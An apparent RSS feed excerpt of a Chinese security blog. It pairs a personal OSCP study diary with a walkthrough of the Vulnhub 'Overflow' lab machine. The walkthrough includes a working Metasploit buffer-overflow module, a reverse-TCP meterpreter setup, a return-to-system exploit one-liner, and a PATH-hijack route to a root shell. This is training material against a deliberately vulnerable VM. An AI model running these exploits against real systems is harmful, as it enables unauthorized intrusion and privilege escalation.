那天我一鼓作气爬到了塘朗山顶。下山时天色已经很暗,有些看不清路,好在雨停了。我又一个人在黑暗中摸索着下山,想起大学时也常常这样一个人在晚上爬喻家山,现在的我和大学时的我并没有什么本质上的变化。

下山回家后很快拟定了学习方案。我是这样计划的:先花三个月(5月、6月和7月)做考试前准备,主要内容是背单词,次要内容是用Vulnhub靶机进行渗透测试练习,接下来两个月(8月和9月)进行OSCP课程学习,最后在10月初参加考试。为了避免自己遗忘特意买了一个相册,将自己的目标和计划写在上面,放在显示器旁。还在网上找了一张别人的OSCP证书的照片设置为自己的壁纸,每次开机都会看到。

写着目标的相册

当这样一个符合SMART原则的目标写在纸上后,我的OSCP之旅便真正开始了。

我是如何准备的

按照计划,我要开始背三个月单词。在4月27日,刚好做过一次词汇量测试,结果为2700。又做了一次,结果为2761,考虑到10%的误差,相当于毫无变化,说明这个词汇量测试还是有一定准确性的。我拿出一张草稿纸,用铅笔画了一个15*2的表格,第一列写下日期,从2019.04.27开始,接着是2019.05.04,以此类推(间隔为一周),最后一个日期是2019.08.03。然后在第二列写下已有的两次词汇量测试记录,并计划每周六(4月27日和5月4日都是周六)背完单词后测试一次词汇量,将结果写在纸上。这张纸就贴在显示器侧后方的墙上。

因为上下班公司都有班车接送,所以我选择在上下班的路上背单词。刚开始时每天背200个(包括复习和新学),后来觉得实在太多,便改为每天背100个。刚开始时稍稍觉得有点艰难,因为我的大脑已经很久没有进行过背单词这项活动了,就如同让一个好久没有跑步的人忽然长跑一般不适。但很快就适应了这种生活,并慢慢变成一种习惯。每过一周,便在纸上写下一个数字,有时涨,有时跌,但总体趋势还是向上的。当2019.08.03那行被填满时,我几乎不敢相信三个月已经过去了。

当三个月的背单词计划完成时,我的词汇量由2700增长到了6093,虽然距离学好英语还差了很远很远,但心想应付OSCP应该足够了。

词汇表

这三个月里,另一项准备是用Vulnhub的靶机做渗透测试练习。因为我以前的渗透经验几乎为0,就算是靶机也没有完完整整地完成过一台,所以觉得有必要先练习一下。我的电脑性能不够好,同时跑两台虚拟机(一台kali,一台靶机)会不堪重负,所以我买了一台蜗牛星际把它重装成Ubuntu 18.04专门用来跑靶机。

星际蜗牛

一方面由于经验的缺乏,另一方面由于Vulnhub的靶机大多是CTF风格的,常常需要脑洞大开,所以这项练习进度很慢,最终三个月也只完成了6台靶机的渗透。每台都写了一篇文章详细地记录整个渗透过程,它们是:

我还尝试把这些文章中的几篇投稿到安全客,但只有最后一篇被采纳了,就这样,我赚到了人生中第一笔稿费。这些靶机让我初步找到了渗透的感觉。

我是如何学习课程的

按照计划,我在八月刚开始就报名了OSCP,1000美元的报名费是我工作以来最大的单笔花销。其中的小插曲是OSCP需要一个英文的有效证件来验证身份,我只好去办护照,深圳不愧为效率之城,不到一周我便拿到了护照。课程真正开始是在8月11日的早上8点,我收到了一封邮件,包含着视频教程和PDF教材的下载链接,VPN实验室的访问方法和账号密码,学生论坛的地址和账号密码以及其他很多注意事项和参考链接。

下载后看了下,视频共有149个,好在每个都只有几分钟,PDF共有380页,大概翻了下有很多截图,所以真正文字并没有太多。然后试了实验室和论坛的账号密码,都能成功登录。

其实我最关心的事情是视频教程有没有字幕,因为我的英语听力比阅读能力差太多了,不幸的是没有字幕。11日一整天我都在研究怎么给视频加上字幕。最后找到一个名叫autosub的Python库可以自动生成字幕文件,但这个Python库只支持Python2,而我又只安装了Python3,就改动它的源码,使之兼容Python3。顺利地生成字幕文件后用ffmpeg命令把字幕加到了MP4视频中。

学习方法是以章为单位,先看完一章的视频,再阅读对应章节的PDF,若遇到习题便完成它。之所以要以章为单位,是因为我发现视频教程和PDF教材的内容虽然大体上是一样的,但在细节上有所出入。由于我以前看过好几本系统讲述渗透测试的书籍,所以感觉OSCP的课程都是些熟悉的内容。但即便这样,完成课程的学习花去了四周的时间。

在这期间,上下班路上有时看视频教程,有时背单词。但背法发生了变化,在晚上学习时遇到不认识的单词后我就记录下来,第二天上下班路上就背这些单词。我把这期间的单词汇总整理,放在OSCPVocabulary。但背单词的效果并不如前三个月理想,可能是因为现在心思都在课程学习上。

我是如何进行实验的

学完OSCP课程后,并没有收获很大的感觉。真正的收获主要来自于实验。

在进行实验时,我需要用VPN连接到一个内网,这个内网中有很多任我攻击的靶机,这些靶机是被精心设计用于渗透测试练习的。

实验的第一个问题是网络质量。官方文档要求的网络质量是PING延时在300毫秒以内且丢包率为0。我显然没有这么好的网络,尤其是到了晚上网络质量更差,这大概是由于这个时候主干网被各种游戏和视频数据包拥塞。延时的问题不是很大,一般在320到350毫秒之间,大些时会到400毫秒。丢包却很严重,有时会高达70%!完全无法使用。最后的解决方法是使用Socks 5代理让VPN连接经香港中转,这样延时虽然没有降低但丢包却锐减到几乎为0。

解决网络质量问题后便可以愉快地实验。有些靶机非常简单,从端口扫描到拿到root权限,只花了不到半个小时,有些靶机难度很大,最久的一台我花了5天的时间才搞定。有些靶机甚至需要另一台靶机上的某些信息,否则是不可能被攻陷的。

由于平时还要上班和加班,所以真正进行实验的时间很有限,到9月30日时,我才拿下了个位数的靶机(总共有50多台)。但实验室访问权限快要到期了,而按照最初的计划我也应该在10月初考试,所以依旧预约了考试,具体时间是2019年10月6日18:00到2019年10月7日17:45。另外还在8号那天请了一天假以写报告。

国庆假便是我最后的冲刺时间了,10月1日,正在阅兵的时候,我拿下了一台Windows XP SP1,还在上面玩了一把扫雷。又用一个Web服务的远程代码执行漏洞拿下一台Windows 8.1,又用MS17-010拿下一台Windows XP,并用从XP获取的信息成功提权Windows 8.1。这是我整个实验期间战绩最好的一天,拿下了三台靶机。

在攻陷的靶机上玩扫雷

10月2日拿下两台Linux,3日遇到一台很难的靶机花了整整一天时间拿下了它,到4日时已经头昏脑胀,但依旧拿下了两台。这种头昏脑胀的感觉不是来自疾病,而是来自疲乏。就如同过多的运动会使肌肉疲乏,过多的思考也会使大脑疲乏。如果读者在学生时代曾进行过认真的学科竞赛训练,就应该曾体会过我所说的感觉。出于休息的考虑5日只拿下了一台,到6日时便停止了实验,而是选择打扫房间卫生。因为我赞同福尔摩斯的观点,最好的休息是进行另一项工作。6日下午还再次去爬塘朗山,但出地铁站后发现在下雨,而这次我没有带伞,在考试开始前几个小时冒雨爬山不是一个明智的选择,只好放弃了。

我是如何进行考试的

考试的总时长是23小时45分钟, 我需要在这段时间里入侵5台靶机,每台有不同的分值,满分为100分,超过75分则通过考试。考试结束后另有24个小时时间完成渗透测试报告,最后的得分还要看报告写得如何。

因为前一天晚上和当天中午都没能睡好觉,所以特意买了速溶咖啡,在考试开始前喝了半袋。10月6日17:45登录监考Web页面,验证护照,设置屏幕共享,检查周边环境(拿起笔记本转一圈)等花了好久,真正开始考试已经是18:30。说起来我原本以为需要和监考者用英语口语交流,觉得自己考不过很可能是因为口语不好,看了考试说明才发现是在Web页面中打字交流的。

前三个小时一筹莫展,当时心想虽然通不过考试也在预期之内,但拿0分未免过于丢人。三小时后忽然取得进展,大概在21:30用一个远程代码执行漏洞直接拿下了一台10分靶机的root权限,接着一鼓作气,在22:00左右用文件上传漏洞拿下了一台25分的靶机的低权限shell,并在一个半小时后用第三方软件漏洞成功提权。35分到手已经超过预期了,和监考者说了一声后便去睡觉了。

原计划睡到第二天早上6:45,但不出意料地失眠了,至少到凌晨1点时还是醒着的,具体几点睡着的不清楚。也醒得很早,不到6点就醒了。醒来后立马起床,简单洗漱后喝掉了剩下的半袋咖啡,边吃提前准备好的早餐边开始新的入侵。

在一台20分的靶机中非常顺利地找到了远程php代码执行漏洞。但利用却总不成功,执行phpinfo()是正常的,执行system(‘id’)却不行,没有任何报错也没有任何输出。过了好久才想到去phpinfo()的输出里看看是不是system函数被禁用了,一看果然是,还禁用了一大堆能执行系统命令的函数,好在给我留下了proc_open。知道原因后就好搞了,花了点时间成功拿到低权限shell,这个时候已经9点半了。接着用Linux内核漏洞还算顺畅地提权。至此拿到了55分。

接下来搞定的一台25分的靶机。这台和其他四台不同,并不是渗透测试靶机,而是一道缓冲区溢出题目,需要自行确定漏洞,开发利用程序,并利用这个漏洞入侵这台靶机。只是一道很简单的溢出题目,其难度甚至小于我在准备期间完成的溢出靶机Overflow,不明白这台靶机为何会值25分。当然我会有这种感觉,可能只是因为我是科班出身,学习过相关知识。开发利用程序时甚至回忆起了大学时代,回忆起了软件安全这门课。我拿下这台靶机比较顺畅,在13:00前就完成了,中途还吃了顿午饭。午饭是炒米饭外卖,前一天就订好了,选择炒米饭是因为吃起来比较节约时间。拿下这台有两个地方耽搁了些时间,一是看漏了两个坏字符,二是构造攻击荷载时少加了16个NOP,因为我用了编码器,不加这16个NOP的话解码操作会破坏shellcode。

午觉大概睡了半个小时,睡完午觉才14:00,还有近4个小时,当时以为一定可以拿下最后一台,完美地通过考试,毕竟那台只有20分,想来不会太难。但命运总是如此不可捉摸,直到考试结束,VPN连接被强行断开,我也没能拿下最后一台,实际上是一筹莫展的,完全找不到突破点。现在回想起来应该是由于缺乏睡眠,我的大脑状态已经很差了,再加上已经拿到80分,觉得可以通过考试了,所以才没能拿下最后一台,并不是最后一台真的很难。

考完试后吃完晚饭散了会步就又回家开始写报告。在研究清楚给出的报告模板是什么意思,并完成了一台靶机的报告后估计了完成报告所需的时间大约为几个小时,便去睡觉了。感谢谷歌翻译,第二天午睡前就已经完成了报告。睡完午觉又做了最后的检查与修正,便提交了报告。

10月9日19:34,我收到了通过考试的邮件通知。看到邮件中happy这个单词时就知道了结果,但我也只是激动地来回走了几步,感觉到的快乐和成功入侵那台5天才搞定的靶机时是差不多的。这可能是因为筹谋过多所致。这样想来诸葛亮一生大概很少感觉到快乐,因为事事都在预料之中。

最后的总结

渗透测试不是一门知识,而是一项技能。如果把渗透测试比喻成游泳,那么学校教我的就是浮力的原理,运动的生理学原理,我在课后还自学了要用什么动作划臂,什么动作踩水。当我毕业时,依旧不会游泳,这是因为学校没有游泳池,我从没下过水。在野外游泳,不仅危险而且违法,而OSCP则给了我游泳池。

大学时坐火车回家,遇到一个人时不时就要用手机看一下自己所在的位置,离目的地还有多少公里。而我在上车前就已经意识到距离是没有意义的,真正有意义的是时间。我坐在火车上不关心自己在哪里,距离目的地多远,只关心现在是几点,还有几个小时到站。因为我把火车看做一种封装,如同封装好的API接口,我只管调用就好,不用关心内部实现机制。这5个月也是一种封装,5个月前我设计并调用这个API接口,5个月后执行完毕,结果是拿到了OSCP认证。5个月前爬塘朗山的情景还历历在目,这段时间里发生的事情在此刻的我看来恍如隔世,仿佛那只是一瞬间,又仿佛那是由另一个我完成的。

大四做完毕业设计后我从学校图书馆借阅了最后一本书,是安德斯·艾利克森的《刻意练习:如何从新手到大师》,这本书对我影响很大。我原本坚信天生才华的存在,在我已经经历过的人生中见识过很多天资卓绝、我望尘莫及的人。但其实一个人相信一个理论,可能并不是因为这个理论是正确的,而是因为这个理论对他有好处:瞧,他们比我强是因为天赋比我好,怎么能怪我。读完这本书后我开始相信天生才华根本就不存在,开始相信刻意练习理论。从这本书里学到的另一件事是:能否坚持完成一件事取决于动机是否足够以及能否保持,而不是所谓的毅力。天赋和毅力都是人们为了解释某些现象而虚构出来的,就好比人们虚构出以太以解释电磁波的传播。这5个月的经历也是我对刻意练习理论的一次小小实践。写下这篇文章是想让更多的人相信,至少知道,有这样一种观点:天赋和毅力只是我们想象出来限制自己的枷锁,永远不要因为自己没有天赋、缺乏毅力而不敢行动。

证书还没有寄给我,附上电子徽章:

OSCP徽章

]]>
https://blog.werner.wiki/how-did-i-get-oscp/feed/ 8
渗透笔记之Overflow https://blog.werner.wiki/penetrate-overflow/ https://blog.werner.wiki/penetrate-overflow/#respond Tue, 30 Jul 2019 14:08:01 +0000 https://blog.werner.wiki/?p=765

首发于“安全客”,赚点稿费。

背景

Overflow是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VirtualBox中打开(不建议使用VMware)。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为简单,需要攻击者具备逆向和缓冲区溢出的基本知识。

准备环境

首先下载靶机镜像,得到文件Overflow.ova,大小为493M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,确定靶机IP地址为:192.168.1.174。

信息收集

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -sV -p- -Pn -n 192.168.1.174

扫描结果如下图所示,看到靶机开放了80端口和1337端口。

nmap扫描结果

Web探测

访问http://192.168.1.174:80/,看到如下图所示的页面,有一个下载vulnserver的链接。

Web页面

出于习惯,查看页面源码,如下所示,没有什么收获。

<html>
Dirbuster is not needed. Here is the file : <a href="vulnserver" download>vulnserver</a>
</html>

虽然网页中写到“Dirbuster is not needed.”,但还是尝试了一下目录爆破,果然没有发现什么特别的目录。到目前为止,唯一的收获是vulnserver,把它下载下来。

vulnserver研究

功能研究

下载vulnserver后首先使用file命令查看文件类型:

file vulnserver

命令输出如下图所示,可以看出这是一个32位的ELF可执行文件。

file命令输出

给它可执行权限,并且执行它,看到它在监听1337端口,如下图所示。

vulnserver运行截图

用Telnet去连接它,并进行交互,结果如下图所示。

vulnserver交互截图

容易验证,靶机中监听1337端口的为同一程序。看来这个程序应该有可以远程利用的缓冲区溢出漏洞,现在的任务是找出这个漏洞并利用它。

静态分析

先用checksec看看防护情况:

checksec --file=vulnserver

如下图所示,看到什么防护都没有开启,最好不过了。

checksec结果

用IDA pro打开vulnserver,用F5逆向出main函数的C代码,这里只给出最关键的部分:

  /*
   * 省略绑定端口,进行监听的代码
   */
  while ( 1 )
  {
    v12 = accept(fd, &addr, &addr_len);
    if ( v12 < 0 )
      break;
    v3 = ntohs(*(uint16_t *)addr.sa_data);
    v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
    printf("Connection accepted from %s:%d\n", v4, v3);
    v11 = fork();    // 注意这里开启了新进程
    if ( !v11 )
    {
      write(v12, "COMMAND : ", 0xAu);
      recv(v12, &buf, 0x400u, 0);    // 接收客户端发来的数据
      if ( !strncmp("OVERFLOW ", &buf, 9u) )    // 只比较前9个字符是否相等
      {
        handleCommand(&buf);    // 调用了函数handleCommand
        write(v12, "COMMAND DONE\n", 0xDu);
      }
      else
      {
        write(v12, "TRY HARDER!\n", 0xCu);
      }
    }
  }
  /*
   * 省略接下来的代码
   */

继续F5逆向handleCommand函数,结果如下所示:

// Start address is 0x08049262
char *__cdecl handleCommand(char *src)
{
  char dest; // [esp+0h] [ebp-28h]
  return strcpy(&dest, src);
}

调用了strcpy,显然handleCommand是有栈溢出漏洞的。

动态调试

刚开始调试时,将断点下在handleCommand函数开始处(0x08049262),不能成功中断,而是收到sigchld信号,调试失败。查阅资料后得知这是由于多进程的原因。

后来采取的调试方法是先运行vulnserver,然后用Telnet建立与vulnserver的连接,此时子进程已经生成,接着打开edb,使用Attach功能调试vulnserver的子进程(进程ID大的那个),如下图所示。

Attache子进程

Attach后,将断点下在0x08049262,然后再输入COMMAND为“OVERFLOW 123456789”,如下图所示。

COMMAND为“OVERFLOW 123456789”

此时在edb中程序成功中断,如下图所示。

成功中断

单步运行至ret指令处,注意观察栈内数据,看到我们输入到“OVERFLOW 123456789”距离返回地址还有11行,也就是4×11=44个字符,如下图所示。

handleCommand ret

编写攻击代码

漏洞发掘完毕,接下来需要编写攻击代码。首先找跳板jmp esp(FF E4),使用edb的BinarySearcher插件,成功地找到了唯一的跳板,位于0x0804929a,如下图所示。

BinarySearcher结果

有了跳板,就可以编写攻击代码了。写了一个Metasploit的exploit模块,代码如下所示:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnserver Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
      },
      'Author'         => 'Werner <me[at]werner.wiki>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
        ],
      'Platform'       => %w{ linux },
      'Targets'        =>
        [
          [
            'Vulnserver',
            {
              'Platform' => 'linux',
              'Ret'      => 0x0804929a,
              'Offset'   => 44 - 9
            }
          ],
        ],
      'Payload'        =>
        {
          'BadChars'    => '\x0a\x0d\x00\xff'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 22 2019'))

    # Configure the default port to be 9080
    register_options(
      [
        Opt::RPORT(1337),
      ])
  end


  def exploit
    print_status("Connecting to target for exploitation.")
    connect
    print_good("Connection established successfully.")
    recv_buf = sock.get_once
    print_status("Received data: #{recv_buf}")
    buf = make_nops(target['Offset'])
    buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    print_status("Sending exploit packet.")
    sock.put(buf)
    handler
    disconnect
  end
end

将上述代码保存到文件vulnserver.rb中,然后将这个文件放在/usr/share/metasploit-framework/modules/exploits/linux/misc/中。

需要特别说明,我使用的Metasploit版本为5.0.27-dev。

完成上述工作后打开msfconsole,输入命令reload_all重载所有模块,看看有没有报错,如果没有报错,exploits的数量应该多了1,这说明模块vulnserver载入成功。

漏洞利用

当然先在本地进行测试,发现攻击代码是可用的。然后进行实际的攻击,进入msfconsole后使用我们刚刚编写的攻击模块vulnserver,设置payload为linux/x86/meterpreter/reverse_tcp,设置rhosts为靶机IP,设置lhost为Kali的IP地址。具体的命令如下:

msf5 > use exploit/linux/misc/vulnserver
msf5 exploit(linux/misc/vulnserver) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/misc/vulnserver) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(linux/misc/vulnserver) > set lhost 192.168.1.200
lhost => 192.168.1.200

设置完成后使用show options命令查看所有设置,如下图所示,检查下确定没有问题。

查看所有设置

之后输入exploit开始攻击,但失败了。没有关系,多尝试几次,就会有一次成功获得meterpreter shell,如下图所示。

成功获得meterpreter shell

探索

首先查看文件,找到了一个flag:user.txt,如下图所示。

user.txt

查看权限发现果然是普通用户,不是root。考虑提权,先搜索有suid标志的文件:

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

结果如下图,值得注意的是一个叫做printauthlog的程序。

suid

考虑到后续可能依旧要使用溢出漏洞来提权,所以看看是否开启了地址随机化,发现是开启的,如下图所示。

aslr

不管这些,先把printauthlog下载下来再说。

printauthlog研究

功能研究

用file命令可以看出printauthlog也是一个32位的ELF可执行程序。同样先运行一下,发现是要输入一个密码。如下图和下下图所示。

printauthlog1

printauthlog2

静态分析

先用checksec看看防护情况:

checksec --file=printauthlog

如下图所示,看到开启了NX(不可执行),有点麻烦,直接jmp esp是不行了。

checksec结果

然后用IDA pro逆向,main函数比较短,直接给出全文:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[4]; // [esp+0h] [ebp-7Ch]
  char v5; // [esp+1Ch] [ebp-60h]
  int *v6; // [esp+6Ch] [ebp-10h]

  v6 = &argc;
  strcpy(command, "/bin/cat /var/log/auth.log");
  memset(&v5, 0, 0x48u);
  if ( argc == 2 )
  {
    if ( checkPassword((char *)argv[1]) )
      puts("Wrong password");
    else
      shell(command);
  }
  else
  {
    printf("Usage: %s password\n", *argv);
  }
  return 0;
}

关键点显然在函数checkPassword,继续逆向出checkPassword的C代码,如下:

// Start address is 0x80491C9
int __cdecl checkPassword(char *src)
{
  char s1[4]; // [esp+Fh] [ebp-49h]
  char dest; // [esp+18h] [ebp-40h]

  strcpy(s1, "deadbeef");
  strcpy(&dest, src);
  return strncmp(s1, &dest, 9u);
}

又看到了strcpy,显然checkPassword也是有栈溢出漏洞的。

至于shell函数,其C代码为:

int __cdecl shell(char *command)
{
  return system(command);
}

看到在shell函数中调用了system。

现在我们已经知道密码是deadbeef,试了下果然是正确的密码,如下图所示。但这对权限提升是没有帮助的。

密码正确

动态调试

作为一个单进程程序,调试起来简单一点点。但这个程序需要一个命令行参数,所以用edb调试需要用如下的命令打开:

edb --run ./printauthlog 123456

将程序停在checkPassword函数的ret指令处,如下图所示。

checkPassword ret

数一数可以知道输入的123456距离返回地址有17行,即17×4=68个字符。但由于开启了NX,所以直接将返回地址覆盖为jmp esp是不行的,实际上由于这个程序过于简单,也找不到jmp esp。

编写攻击代码

该如何利用这个漏洞呢?似乎只能用ROP了。但实际上不用那么复杂,因为我们注意到这个程序调用了system(函数shell中),我们只要准备好适当的参数,也调用system就好了。

第一个问题,确定system@plt的地址。这使用objdump来完成:

objdump -d -j .plt printauthlog

部分输出如下:

08049060 <system@plt>:
 8049060:   ff 25 18 c0 04 08       jmp    *0x804c018
 8049066:   68 18 00 00 00          push   $0x18
 804906b:   e9 b0 ff ff ff          jmp    8049020 <.plt>

第二个问题,如何准备system的参数。这个问题有点麻烦,因为32位程序的参数是通过栈传递的,而system的参数是字符串指针。如下图所示是正常调用system@plt开始时的栈中数据情况,可以看到system的参数0xffd8462c是指向字符串的指针,而不是字符串本身。虽然可以将栈中数据覆盖为任意值,但由于地址的动态特性,我不知道有什么办法在构造shellcode时可以确定栈中字符串地址。

正常调用system

因为这个问题迟迟没能解决,我几乎要放弃了。但正要放弃时,忽然想到了另一个靶机HackInOS中通过命令劫持的方式实现了提权。那台靶机中有suid标志的可执行文件的C代码为:

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

通过劫持whoami命令,将whoami替换为“/bin/bash -p”成功提权。

回到面临的问题,其实我不需要把自己构造的字符串做为system的参数,几乎任意的字符串都可以做为system的参数,只要它是固定的(内容和地址都固定),不以“/”开头(以“/”开头没法劫持)。这样的字符串还是有很多的,比如“Wrong password”。

首先确定“Wrong password”的地址,依旧使用BinarySearcher,找到其地址为0x0804a008,如下图所示。

字符串地址

然后就可以构造shellcode了,从前往后(栈中从上往下)依次是:

17*4 字节的填充
0x08049060:system@plt的地址
0x080491C0:一个实际上不会用到的返回地址,单纯占位
0x0804A008:“Wrong password”的地址,system的参数

由于printauthlog接收的是命令行参数,所以需要借助perl来输入“\x08”这样的特殊字符(靶机中没有Python)。实际执行如下的命令完成攻击:

./printauthlog $(perl -e 'print "A"x(17*4)."\x60\x90\x04\x08"."\xc0\x91\x04\x08"."\x08\xa0\x04\x08"')

但现在执行上述命令还不能成功,因为我们还没有劫持“Wrong”命令。

实施攻击

首先从meterpreter shell进入到bash shell中,然后看看当前目录,发现是/home/user,如下图。

pwd

然后建立一个名为Wrong的文件,内容为“/bin/bash -p”,并给它可执行权限,如下图。

Wrong

接着在PATH中添加/home/user,如下所示。

PATH="$PATH:/home/user"

PATH

此时已完成对“Wrong”命令的劫持。最后运行攻击命令,获得一个有root权限的bash shell,如下图。

EXPLOIT!

有了root权限,很容易就找到了root的flag,如下图。

root flag

flag是:

dfd0ac5a9cb9220d0d34322878d9cd7b

当然由于shellcode过于简单,只要一退出root shell,程序就崩溃了,如下图。

Segmentation fault

总结

虽然就缓冲区溢出而言,这个靶机的难度只能算简单,但我对这方面知识的了解仅限于阅读过《0day安全:软件漏洞分析技术(第二版)》,而且还是三年前的事情了,所以对我来说还是有相当的挑战的,成功拿到root权限后,带来的成就感也是前所未有的。

在渗透的过程中,果然不能轻言放弃,而是要尝试所有的可能性。同时我也感受到了二进制的魅力——内存海洋的苦苦寻觅,不拘一格的漏洞利用。

做的不好的地方在于没有过多的思考就直接执行了从靶机中下载的可执行文件,应该准备一个专用的沙盒的。

参考

]]>
https://blog.werner.wiki/penetrate-overflow/feed/ 0